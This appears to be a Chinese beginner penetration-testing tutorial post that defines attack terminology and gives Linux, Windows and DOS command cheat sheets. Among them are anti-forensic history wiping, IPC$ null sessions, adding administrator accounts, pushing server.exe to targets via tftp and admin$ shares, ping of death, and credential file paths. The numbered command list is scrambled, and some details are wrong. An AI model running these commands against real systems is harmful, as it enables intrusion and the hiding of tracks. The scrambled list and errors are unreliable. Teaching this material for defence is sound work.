第1天:基础入门-操作系统_名词_文件下载_反弹SHELL_防火墙绕过

AffettoIris 2023-10-2 2,659 10/2

渗透测试常用专业术语

1. 名词解释

POC:全称 ' Proof of Concept ',中文 ' 概念验证 ' ,常指一段漏洞证明的代码。

EXP:全称 ' Exploit ',中文 ' 利用 ',指利用系统漏洞进行攻击的动作。

Payload:中文 ' 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令 或曰 系统被攻陷后执行的多阶段恶意代码。

Shellcode:简单翻译 ' shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名。

一个漏洞被曝出来后,前期是用POC代码证明漏洞是存在的,后期是用EXP代码利用漏洞实施攻击。或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。想象自己是一个特工,你的目标是监控一个重要的人,有一天你怀疑目标家里的窗子可能没有关,于是你上前推了推,结果推开了,这是一个POC。之后你回去了,开始准备第二天的渗透计划,第二天你通过同样的漏洞渗透进了它家,仔细查看了所有的重要文件,离开时还安装了一个隐蔽的录音笔,这一天你所做的就是一个EXP,你在他家所做的查看、安装录音笔就是不同的Payload,就把录音笔当作Shellcode吧!

正向shell:控制端主动发起连接去连接被控制端 反向shell:被控制端主动连接控制端

在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败, 比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。而被控制端主动向外发送的数据包通常都不会被拦截。

反弹shell通常适用于如下几种情况:

•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

Webshell:专指网站后门,是后门的子集。

木马:以控制设备为目的的程序。

病毒:泛指破坏性程序

反弹:攻击者利用Webshell将控制权限移交给其他地方,从其他地方再控制。后面有个案例,将内网windows的cmd.exe交给外网电脑操作

跳板:即中介。有a b c三台电脑,a连不上c,但a连接b,通过b连接c,则b就是a的跳板。VPN服务器就是典型的跳板。

黑盒测试:内部结构(代码)是未知的,只有目标,目标是什么情况都不清楚。

白盒测试:知道目标的信息,比如内部结构(代码)是已知的、开了什么端口部署了什么网站。

灰盒测试:内部结构(代码)是部分已知的。

社会工程学:针对人的攻击 1.伪装某人去诈骗或者直接忽悠等方式套取信息 ;2.由于人设置密码习惯参考生日姓名等,黑客可以利用该人信息编造字典来尝试某些平台的密码。

撞库:黑客会在互联网中收集平台、用户泄露的密码、手机号等信息,并利用这些数据信息尝试登录不同网站上的用户账号,进行个人财产的盗取。

att&ck:ATT&CK框架是由MITRE创建并维护的一个对抗战术和技术的知识库,全称 Adversarial Tactics, Techniques, and Common Knowledge, 简称ATT&CK。这个知识库是由社区驱动的,并且是公开免费、全球可访问的知识库。我能接触到的用途是,例如我遭受了一个攻击,比如对方发来一个侦察数据包。但是我怎么专业地描述攻击的名字、给别人讲乃至写进报告呢?来这个网站,根据大类“侦察”找到小类,有主动扫描、收集受害者身份信息、收集受害者主机信息...最终判定本次攻击为“主动扫描”。总结,适用于装逼、书写报告、专业地给别人介绍攻击名字。

肉鸡:比喻那些可以被攻击者控制的电脑、手机、服务器或者其他摄像头、路由器等智能设备,用于发动网络攻击。

僵尸网络: 僵尸网络 Botnet 是指采用一种或多种传播手段,将大量主机感染病毒,从而在控制者和被感染主机之间所形成的一个可一对多控制的网络。 僵尸网络是一个非常形象的比喻,众多的计算机在不知不觉中如同中国古老传说中的僵尸群一样被人驱赶和指挥着,成为被攻击者执行各类恶意活动(DDOS、垃圾邮件等)利用的一种基础设施。

木马:就是那些表面上伪装成了正常的程序,但是当这些程序运行时,就会获取系统的整个控制权限,比如灰鸽子、Gh0st、PcShare等等。

网页木马: 表面上伪装成普通的网页或是将恶意代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马服务端植入到访问者的电脑上来自动执行,将受影响的客户电脑变成肉鸡或纳入僵尸网络。

Rootkit:kit译工具包。Rootkit是攻击者用来隐藏自己的行踪和保留root访问权限的工具。通常,攻击者通过远程攻击的方式获得root访问权限,或者是先使用密码猜解(破解)的方式获得对系统的普通访问权限,进入系统后,再通过对方系统存在的安全漏洞获得系统的root或system权限。然后,攻击者就会在对方的系统中安装Rootkit,以达到自己长久控制对方的目的,Rootkit功能上与木马和后门很类似,但远比它们要隐蔽。

蠕虫病毒:它是一类相对独立的恶意代码,利用了联网系统的开放性特点,通过可远程利用的漏洞自主地进行传播,受到控制终端会变成攻击的发起方,尝试感染更多的系统。蠕虫病毒的主要特性有:自我复制能力、很强的传播性、潜伏性、特定的触发性、很大的破坏性。

震网病毒:又名Stuxnet病毒,是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫”病毒,比如核电站,水坝,国家电网。

勒索病毒:主要以邮件、程序木马、网页挂马的形式进行传播。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。

挖矿木马:一种将PC、移动设备甚至服务器变为矿机的木马,通常由挖矿团伙植入,用于挖掘比特币从而赚取利益。

嗅探器(Sniffer):就是能够捕获网络报文的设备或程序。嗅探器的正当用处在于分析网络的流量,以便找出所关心的网络中潜在的问题。

恶意软件:被设计来达到非授权控制计算机或窃取计算机数据等多种恶意行为的程序。

间谍软件:一种能够在用户不知情的情况下,在其电脑、手机上安装后门,具备收集用户信息、监听、偷拍等功能的软件。

后门:这是一种形象的比喻,入侵者在利用某些方法成功的控制了目标主机后,可以在对方的系统中植入特定的程序,或者是修改某些设置,用于访问、查看或者控制这台主机。 这些改动表面上是很难被察觉的,就好象是入侵者偷偷的配了一把主人房间的钥匙,或者在不起眼处修了一条暗道,可以方便自身随意进出。通常大多数木马程序都可以被入侵者用于创建后门(BackDoor)。

弱口令:指那些强度不够,容易被猜解的,类似123,abc这样的口令(密码)。

漏洞:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

远程命令执行漏洞:由于系统设计实现上存在的漏洞,攻击者可能通过发送特定的请求或数据导致在受影响的系统上执行攻击者指定的任意命令。

0day漏洞:0day漏洞最早的破解是专门针对软件的,叫做WAREZ,后来才发展到游戏,音乐,影视等其他内容的。0day中的0表示Zero,早期的0day表示在软件发行后的24小时内就出现破解版本。在网络攻防的语境下,0day漏洞指那些已经被攻击者发现掌握并开始利用,但还没有被厂商、用户所知的漏洞,这类漏洞对攻击者来说有完全的信息优势,由于没有漏洞的对应的补丁或临时解决方案,防守方不知道如何防御,攻击者可以达成最大可能的威胁。

1day漏洞:指漏洞信息已公开但仍未发布补丁的漏洞。此类漏洞的危害仍然较高,但往往官方会公布部分缓解措施,如关闭部分端口或者服务等。

Nday漏洞:指已经发布官方补丁的漏洞。通常情况下,此类漏洞的防护只需更新补丁即可,但由于多种原因,导致往往存在大量设备漏洞补丁更新不及时,且漏洞利用方式已经在互联网公开,往往此类漏洞是黑客最常使用的漏洞。例如在永恒之蓝事件中,微软事先已经发布补丁,但仍有大量用户中招。

0.0.0.0 :0.0.0.0 是一个特殊的 IP 地址,被称为"通配地址"或"任意地址",在网络编程中,将服务器绑定到 0.0.0.0 这个地址,意味着服务器将监听所有可用的网络接口上的连接请求。换句话说,它允许服务器接受来自任何 IP 地址的连接。

0.0.0.0:8080 :表示服务器将监听所有可用的网络接口上的 8080 端口的连接请求。

基础案例1

操作系统

OS的类型决定用途

个人计算机,2022年时,用的最多的是windows10,服务器用的最多的是windows2018和windows2022和windows server 2016,不同的OS被设计面向个人用还是服务器用会导致携带的功能不同,我们入侵到内网后,可以通过OS判断/猜测这是台个人用机还是服务器,不过OS与用途不是绝对的,总有人拿windows10当服务器用,可能用着顺手,但少。linux如ubuntu和centos,各型号的针对用途同理也不同,可网上查。MAC也不管了,主要用于个人电脑,用作服务器的情况少

渗透测试中常用的命令(会查即可)

不常用的命令,会查即可,比如需要在win上创建新用户,就来查“新建”、“用户”、“账号”一类字眼,或者问AI

原文

命令 描述
netstat -tulpn 在 Linux 中显示对应了进程ID(PID)的网络端口。
watch ss -stplu 通过套接字实时观察 TCP, UDP 端口。
lsof -i 显示确认了的连接。
macchanger -m MACADDR INTR 在 KALI Linux 上修改 MAC 地址。
ifconfig eth0 192.168.2.1/24 在 Linux 中设置 ID 地址。
ifconfig eth0:1 192.168.2.3/24 在 Linux 中向现有的网络接口添加 IP 地址。
ifconfig eth0 hw ether MACADDR 使用 ifconfig 修改 Linux 中的 MAC 地址。
ifconfig eth0 mtu 1500 在 Linux 中使用 ifconfig 修改 MTU 的大小,将 1500 改为你想要的 MTU。
dig -x 192.168.1.1 对 IP 地址进行反向查找。
host 192.168.1.1 在一个 IP 地址上进行反向查找,适用于没有安装 dig 的情况。
dig @192.168.2.2 domain.com -t AXFR 使用 dig 执行一次 DNS 区域传输。
host -l domain.com nameserver 使用 host 执行一次 DNS 区域传输。
nbtstat -A x.x.x.x 获取 IP 地址对应的域名。
ip addr add 192.168.2.22/24 dev eth0 向 Linux 添加一个隐藏的 IP 地址,在执行 ifconfig 命令时不会显示这个 IP 地址。
tcpkill -9 host google.com 阻止从主机访问 google.com。
echo “1” > /proc/sys/net/ipv4/ip_forward 启用 IP 转发,将 Linux 盒子变成一个路由器——这样就方便通过这个盒子来进行路由流量的控制。
echo “8.8.8.8” > /etc/resolv.conf 使用 Google 的 DNS。

对于本地的枚举检查很有用。

命令 描述
whoami 显示 Linux 上当前已登录用户。
id 向用户显示当前已登录的用户和组。
last 显示最后一次登陆的用户。
mount 显示已挂载的驱动。
df -h 用人类可读的输出显示磁盘使用情况。
echo “user:passwd” | chpasswd 用一行命令重置密码。
getent passwd 列出 Linux 上的用户。
strings /usr/local/bin/blah 显示非文本文件的内容,例如:一个二进制文件里面有什么。
uname -ar 显示运行中的内核版本。
PATH=$PATH:/my/new-path 添加一个新的路径,方便进行本地文件系统(FS)操作。
history 显示用户在之前执行的 bash 脚本历史记录,还有敲入的命令。
命令 描述
cat /etc/redhat-release 显示 Redhat / CentOS 版本号。
rpm -qa 在基于 RPM 的 Linux 上列出所有已经安装上的 RPM 包。
rpm -q –changelog openvpn 检查已安装的 RPM 是否针对 CVE 打了补丁,可以用 grep 命令过滤出跟 CVE 有关的输出。

基于 RPM 的系统使用了包管理器, 你可以用这些命令获取到有关已安装包或者其它工具的有用信息。

命令 描述
yum update 使用 YUM 更新所有的 RPM 包,也会显示出哪些已经过时了。
yum update httpd 更新单独的包,在此例中是 HTTPD (Apache)。
yum install package 使用 YUM 安装一个包。
yum –exclude=package kernel* update 在使用 YUM 时将一个包排除在外不更新。
yum remove package 使用 YUM 删除包。
yum erase package 使用 YUM 删除包。
yum list package 列出有关 yum 包的信息。
yum provides httpd 显示一个包是的用途,例如: Apache HTTPD Server。
yum info httpd 显示包信息,架构,版本等信息。
yum localinstall blah.rpm 使用 YUM 来安装本地 RPM, 从资源库进行安装。
yum deplist package 显示包的提供方信息。
yum list installed | more 列出所有已安装的包。
yum grouplist | more 显示所有的 YUM 分组。
yum groupinstall ‘Development Tools’ 安装 YUM 分组。
命令 描述
cat /etc/debian_version 显示 Debian 版本号。
cat /etc/*-release 显示 Ubuntu 版本号。
dpkg -l 在基于 Debian / .deb 的 Linux 发行版上列出所有已安装的包。
命令 描述
useradd new-user 创建一个新的 Linux 用户。
passwd username 重置 Linux 用户密码, 如果你是 root 用户,只要输入密码就行了。
deluser username 删除一个 Linux 用户。

如何在 Linux 上解析不同的压缩包 (tar, zip, gzip, bzip2 等等) ,以及其它的一些用来在压缩包中进行搜索等操作的小技巧。

命令 描述
unzip archive.zip 在 Linux 上提取 zip 包中的文件。
zipgrep *.txt archive.zip 在一个 zip 压缩包中搜索。
tar xf archive.tar 在 Linux 上提取 tar 包中的文件。
tar xvzf archive.tar.gz 在 Linux 上提取 tar.gz 包中的文件。
tar xjf archive.tar.bz2 在 Linux 上提取 tar.bz2 包中的文件。
tar ztvf file.tar.gz | grep blah 在一个 tar.gz 文件中搜索。
gzip -d archive.gz 在 Linux 上提取 gzip 中的文件。
zcat archive.gz 在 Linux 以不解压缩的方式读取一个 gz 文件。
zless archive.gz 用较少的命令实现对 .gz 压缩包相同的功能。
zgrep ‘blah’ /var/log/maillog*.gz 在 Linux 上对 .gz 压缩包里面的内容执行搜索,比如搜索被压缩过的日志文件。
vim file.txt.gz 使用 vim 读取 .txt.gz 文件(我个人的最爱)。
upx -9 -o output.exe input.exe 在 Linux 上使用 UPX 压缩 .exe 文件。
命令 描述
zip -r file.zip /dir/* 在 Linux 上创建一个 .zip 文件。
tar cf archive.tar files 在 Linux 上创建一个 tar 文件。
tar czf archive.tar.gz files 在 Linux 上创建一个 tar.gz 文件。
tar cjf archive.tar.bz2 files 在 Linux 上创建一个 tar.bz2 文件。
gzip file 在 Linux 上创建一个 .gz 文件。
命令 描述
df -h blah 在 Linux 上显示文件/目录的大小。
diff file1 file2 在 Linux 上比对/显示两个文件之间的差别。
md5sum file 在 Linux 上生成 MD5 摘要。
md5sum -c blah.iso.md5 在 Linux 上检查文件的 MD5 摘要,这里假设文件和 .md5 处在相同的路径下。
file blah 在 Linux 上查找出文件的类型,也会将文件是 32 还是 64 位显示出来。
dos2unix 将 Windows 的行结束符转成 Unix/Linux 的。
base64 < input-file > output-file 对输入文件进行 Base64 编码,然后输出一个叫做 output-file 的 Base64 编码文件。
base64 -d < input-file > output-file 对输入文件进行 Base64 解码,然后输出一个叫做 output-file 的 Base64 解码文件。
touch -r ref-file new-file 使用来自于引用文件的时间戳数据创建一个新文件,放上 -r 以简单地创建一个文件。
rm -rf 不显示确认提示就删除文件和目录。
命令 描述
init 6 从命令行重启 Linux 。
gcc -o output.c input.c 编译 C 代码。
gcc -m32 -o output.c input.c 交叉编译 C 代码,在 64 位 Linux 上将编译出 32 位的二进制文件。
unset HISTORYFILE 关闭 bash 历史日志记录功能。
rdesktop X.X.X.X 从 Linux 连接到 RDP 服务器。
kill -9 $$ 关掉当前的会话。
chown user:group blah 修改文件或者目录的所有者。
chown -R user:group blah 修改文件或者目录,以及目录下面文件/目录的拥有者 —— 递归执行 chown。
chmod 600 file 修改文件/目录的权限设定, 详情见 Linux 文件系统权限

清除 bash 历史:

      $ ssh user@X.X.X.X | cat /dev/null > ~/.bash_history
取值 意义
777 rwxrwxrwx 没有限制,完全可读可写可执行(RWX),用户可以做任何事情。
755 rwxr-xr-x 拥有者可完全访问,其他人只能读取和执行文件。
700 rwx—— 拥有者可完全访问,其他人都不能访问。
666 rw-rw-rw- 所有人可以读取和写入,但不可执行。
644 rw-r–r– 拥有者可以读取和写入,其他人只可以读取。
600 rw——- 拥有者可以读取和写入,其他人都不能访问。
目录 描述
/ / 也被称为“斜杠”或者根。
/bin 由系统、系统管理员以及用户共享的通用程序。
/boot Boot 文件, 启动加载器(grub), 内核, vmlinuz
/dev 包含了对系统设备、带有特殊属性的文件的引用。
/etc 重要的系统配置文件。
/home 系统用户的主目录。
/lib 库文件,包括系统和用户都需要的所有类型的程序的文件。
/lost+found 文件操作失败会被保存在这里。
/mnt 外部文件系统的标准挂载点。
/media 外部文件系统(或者某些发行版)的挂载点。
/net 整个远程文件系统的标准挂载点 —— nfs。
/opt 一般都是包含一些附加的或者第三方软件。
/proc 一个包含了系统资源相关信息的虚拟文件系统。
/root root 用户的主目录。
/sbin 由系统和系统管理员来使用的程序。
/tmp 供系统使用的临时空间,重启时会被清空。
/usr 供所有用户相关程序使用的程序、库、文档等等。
/var 存储所有由用户创建的可变文件和临时文件,比如日志文件、邮件队列、后台打印程序,Web服务器,数据库等等。

如果你想尝试进行特权升级/执行后期开发,这些都是你值得一瞧的命令。

路径 描述
/etc/passwd 包含了本地 Linux 的用户。
/etc/shadow 包含了哈希过的本地账户密码。
/etc/group 包含了本地账户分组。
/etc/init.d/ 包含了服务网初始化脚本 – 具体都安装了些啥应该值得一瞧。
/etc/hostname 系统的 hostname。
/etc/network/interfaces 网络接口。
/etc/resolv.conf 系统的 DNS 服务。
/etc/profile 系统的环境变量。
~/.ssh/ SSH 密钥。
~/.bash_history 用户的 bash 历史日志。
/var/log/ Linux 系统的日志文件一般就被存放在这里。
/var/adm/ UNIX 系统的日志文件一般就被存在在这里。
/var/log/apache2/access.log /var/log/httpd/access.log Apache 访问日志文件通常的存在路径。
/etc/fstab 挂载的文件系统。

原文

  1. gpedit.msc—–组策略

  2. sndrec32——-录音机

  3. Nslookup——-IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。

  4. explorer——-打开资源管理器

  5. logoff———注销命令

  6. shutdown——-60秒倒计时关机命令

  7. lusrmgr.msc—-本机用户和组

  8. services.msc—本地服务设置

  9. oobe/msoobe /a—-检查XP是否激活

  10. notepad——–打开记事本

  11. cleanmgr——-垃圾整理

  12. net start messenger—-开始信使服务

  13. compmgmt.msc—计算机管理

  14. net stop messenger—–停止信使服务

  15. conf———–启动netmeeting

  16. dvdplay——–DVD播放器

  17. charmap——–启动字符映射表

  18. diskmgmt.msc—磁盘管理实用程序

  19. calc———–启动计算器

  20. dfrg.msc——-磁盘碎片整理程序

  21. chkdsk.exe—–Chkdsk磁盘检查

  22. devmgmt.msc— 设备管理器

  23. regsvr32 /u *.dll—-停止dll文件运行

  24. drwtsn32—— 系统医生

  25. rononce -p—-15秒关机

  26. dxdiag———检查DirectX信息

  27. regedt32——-注册表编辑器

  28. Msconfig.exe—系统配置实用程序

  29. rsop.msc——-组策略结果集

  30. mem.exe——–显示内存使用情况

  31. regedit.exe—-注册表

  32. winchat——–XP自带局域网聊天

  33. progman——–程序管理器

  34. winmsd———系统信息

  35. perfmon.msc—-计算机性能监测程序

  36. winver———检查Windows版本

  37. sfc /scannow—–扫描错误并复原

  38. taskmgr—–任务管理器(2000/xp/2003

  39. winver———检查Windows版本

  40. wmimgmt.msc—-打开windows管理体系结构(WMI)

  41. wupdmgr——–windows更新程序

  42. wscript——–windows脚本宿主设置

  43. write———-写字板

  44. winmsd———系统信息

  45. wiaacmgr——-扫描仪和照相机向导

  46. winchat——–XP自带局域网聊天

  47. mem.exe——–显示内存使用情况

  48. Msconfig.exe—系统配置实用程序

  49. mplayer2——-简易widnows media player

  50. mspaint——–画图板

  51. mstsc———-远程桌面连接

  52. mplayer2——-媒体播放机

  53. magnify——–放大镜实用程序

  54. mmc————打开控制台

  55. mobsync——–同步命令

  56. dxdiag———检查DirectX信息

  57. iexpress——-木马捆绑工具,系统自带 58. fsmgmt.msc—–共享文件夹管理器

  58. utilman——–辅助工具管理器

  59. diskmgmt.msc—磁盘管理实用程序

    1. dcomcnfg——-打开系统组件服务

    2. ddeshare——-打开DDE共享设置

        63. osk————打开屏幕键盘
      
          64. odbcad32——-ODBC数据源管理器
      1. oobe/msoobe /a—-检查XP是否激活 114. logoff———注销命令

          66. notepad——–打开记事本
        
            67. nslookup——-网络管理的工具向导
        1. ntbackup——-系统备份和还原

            69. narrator——-屏幕“讲述人”
          
              70. ntmsmgr.msc—-移动存储管理器
          1. ntmsoprq.msc—移动存储管理员操作请求

              72. netstat -an—-(TC)命令检查接口
            
                73. syncapp——–创建一个公文包
            1. sysedit——–系统配置编辑器

                75. sigverif——-文件签名验证程序
              
                  76. ciadv.msc——索引服务程序
              1. shrpubw——–创建共享文件夹

                  78. secpol.msc—–本地安全策略
                
                    79. syskey———系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
                1. services.msc—本地服务设置

                    81. Sndvol32——-音量控制程序
                  
                      82. sfc.exe——–系统文件检查器
                  1. sfc /scannow—windows文件保护

                      84. ciadv.msc——索引服务程序
                    
                        85. tourstart——xp简介(安装完成后出现的漫游xp程序)
                    1. taskmgr——–任务管理器

                        87. eventvwr——-事件查看器
                      
                          88. eudcedit——-造字程序
                      1. compmgmt.msc—计算机管理

                          90. packager——-对象包装程序
                        
                            91. perfmon.msc—-计算机性能监测程序
                        1. charmap——–启动字符映射表

                            93. cliconfg——-SQL SERVER 客户端网络实用程序
                          
                              94. Clipbrd——–剪贴板查看器
                          1. conf———–启动netmeeting

                              96. certmgr.msc—-证书管理实用程序
                            
                                97. regsvr32 /u *.dll—-停止dll文件运行
                            1. regsvr32 /u zipfldr.dll——取消ZIP支持

                                99. cmd.exe——–CMD命令提示符
                              
                                  100. chkdsk.exe—–Chkdsk磁盘检查

fdisk 隐含 参数 /mbr 重建主引导记录fdisk /mbr 重建主引导记录

fdisk 在DOS7.0以后增加了/cmbr参数,可在挂接多个物理硬盘时,重建排序在后面的硬盘的主引导记录,例如:fdisk /cmbr 2,可重写第二个硬盘的主引导记录。(在使用时要十分小心,避免把好的硬盘引导记录损坏)

format 参数: /q 快速格式化 /u 不可恢复 /autotest 不提示 /s 创建 MS-DOS 引导盘 format c: /q /u /autotest

DIR [目录名或文件名] /S/P 列出目录 参数: /s 查找子目录/w 只显示文件名 /p 分页/a 显示隐藏文件 DIR format.exe /s查找该盘的format.exe文件并报告位置

MD (MKDIR) [目录名] 创建目录 MKDIR HELLOWORLD 创建HELLOWORLD目录

CD (CHDIR) [目录名] PS:可以使用相对目录或绝对目录 进入目录 CD AA 进入当前文件夹下的AA目录,cd .. 进入上一个文件夹cd \返回根目录;cd c:\windows 进入c:\windows文件夹

RD ( RMDIR) [目录名] 删除目录 RD HELLOWORLD 删除HELLOWORLD目录

删除目录及其文件: rmdir [目录名或文件名] /S/P 。例 rmdir c:\qqdownload/s 删除C盘的qqdownload目录。   del [目录名或文件名] /f[/q] 删除 参数:/f 删除只读文件/s 删除该目录及其下的所有内容 /q 删除前不确认   del c:\del /s /q 自动删除c盘的del目录。   copy [源文件或目录] [目标目录] 复制文件 copy d:\pwin98. c:\presetup 将d盘的pwin98的所有文件复制到c盘的presetup下。   attrib 参数 文件属性操作命令,attrib命令可以列出或修改磁盘上文件的属性,文件属性包括文档(A)、只读(R)、隐藏(H)、系统(S),例如:attrib -h -r -s io.sys 执行这一命令后,将把DOS系统文件io.sys文件的只读、隐藏、系统属性去掉,这时将可以直接通过dir命令看到io.sys文件。attrib +h +r +s autoexec.bat将为自动批处理文件增加以上属性。

debug 调试内存 参数 -w [文件名] 写入二进制文件 -o [地址1] [地址2] 输出内存 -q 退出 exp:o 70 10[return] o 71 01   [return] 01[return] q[return] DOS下通过写70h/71h PORT改变BIOS密码在CMOS中存放的对应位置的值,用以清除AWARD BIOS密码.debug 还可以破解硬盘保护卡等,但只可以在纯DOS下用。

给磁盘分区,一般都会分成四个区,磁盘分区由主分区、扩展分区、逻辑分区组成。 PQ和Acronis Disk Director这两个工具都可以在不丢失数据的情况下对分区进行调整大小,以及合并等操作,XP系统的话你用PQ,WIN7系统的话用Acronis Disk Director 操作基本一样,可以去网上找教程来看看,再不重装系统的情况下都能调整分区大小,但是建议你还是先备份下数据再调整,毕竟对硬盘直接进行的操作有一定的危险性。

	net use ipipc$ " " /user:" " 建立IPC空链接

  net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接

  net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

  net use h: ipc$ 登陆后映射对方C:到本地为H:

  net use ipipc$ /del 删除IPC链接

  net use h: /del 删除映射对方到本地的为H:的映射

  net user 用户名 密码 /add 建立用户

  net user guest /active:yes 激活guest用户

  net user 查看有哪些用户

  net user 帐户名 查看帐户的属性

  net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限

  net start 查看开启了哪些服务

  net start 服务名 开启服务;(如:net start telnet, net start schedule)

  net stop 服务名 停止某服务

  net time 目标ip 查看对方时间

  net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息

  net view 查看本地局域网内开启了哪些共享

  net view ip 查看对方局域网内开启了哪些共享

  net config 显示系统网络设置

  net logoff 断开连接的共享

  net pause 服务名 暂停某服务

  net send ip "文本信息" 向对方发信息

  net ver 局域网内正在使用的网络连接类型和信息

  net share 查看本地开启的共享

  net share ipc$ 开启ipc$共享

  net share ipc$ /del 删除ipc$共享

  net share c$ /del 删除C:共享

  net user guest 12345 用guest用户登陆后用将密码改为12345

  net password 密码 更改系统登陆密码

  netstat -a 查看开启了哪些端口,常用netstat -an

  netstat -n 查看端口的网络连接情况,常用netstat -an

  netstat -v 查看正在进行的工作

  netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况

  netstat -s 查看正在使用的所有协议使用情况

  nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名

  tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。

  ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。

  ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

  ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息

  tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

  kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)

  del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

  del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)

  move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖

  fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令

  at id号 开启已注册的某个计划任务

  at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止

  at id号 /delete 停止某个已注册的计划任务

  at 查看所有的计划任务

  at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机

  finger username @host 查看最近有哪些用户登陆

  telnet ip 端口 远和登陆服务器,默认端口为23

  open ip 连接到IP(属telnet登陆后的命令)

  telnet 在本机上直接键入telnet 将进入本机的telnet

  copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件

  copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下

  copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件

  copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:

  xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件

  用参数/e才可连目录下的子目录一起复制到目标地址下。

  tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送

  tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机

  ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)

  route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface

  arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息

  start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令

  mem 查看cpu使用情况

  attrib 文件名(目录名) 查看某文件(目录)的属性

  attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性

  dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间

  date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间

  set 指定环境变量名称=要指派给变量的字符 设置环境变量

  set 显示当前所有的环境变量

  set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量

  pause 暂停批处理程序,并显示出:请按任意键继续....

  if 在批处理程序中执行条件处理(更多说明见if命令及变量)

  goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)

  call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)

  for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)

  echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置

  echo 信息 在屏幕上显示出信息

  echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中

  findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello

  find 文件名 查找某文件

  title 标题名字 更改CMD窗口标题名字

  color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

  prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )

  ver 在DOS窗口下显示版本信息 

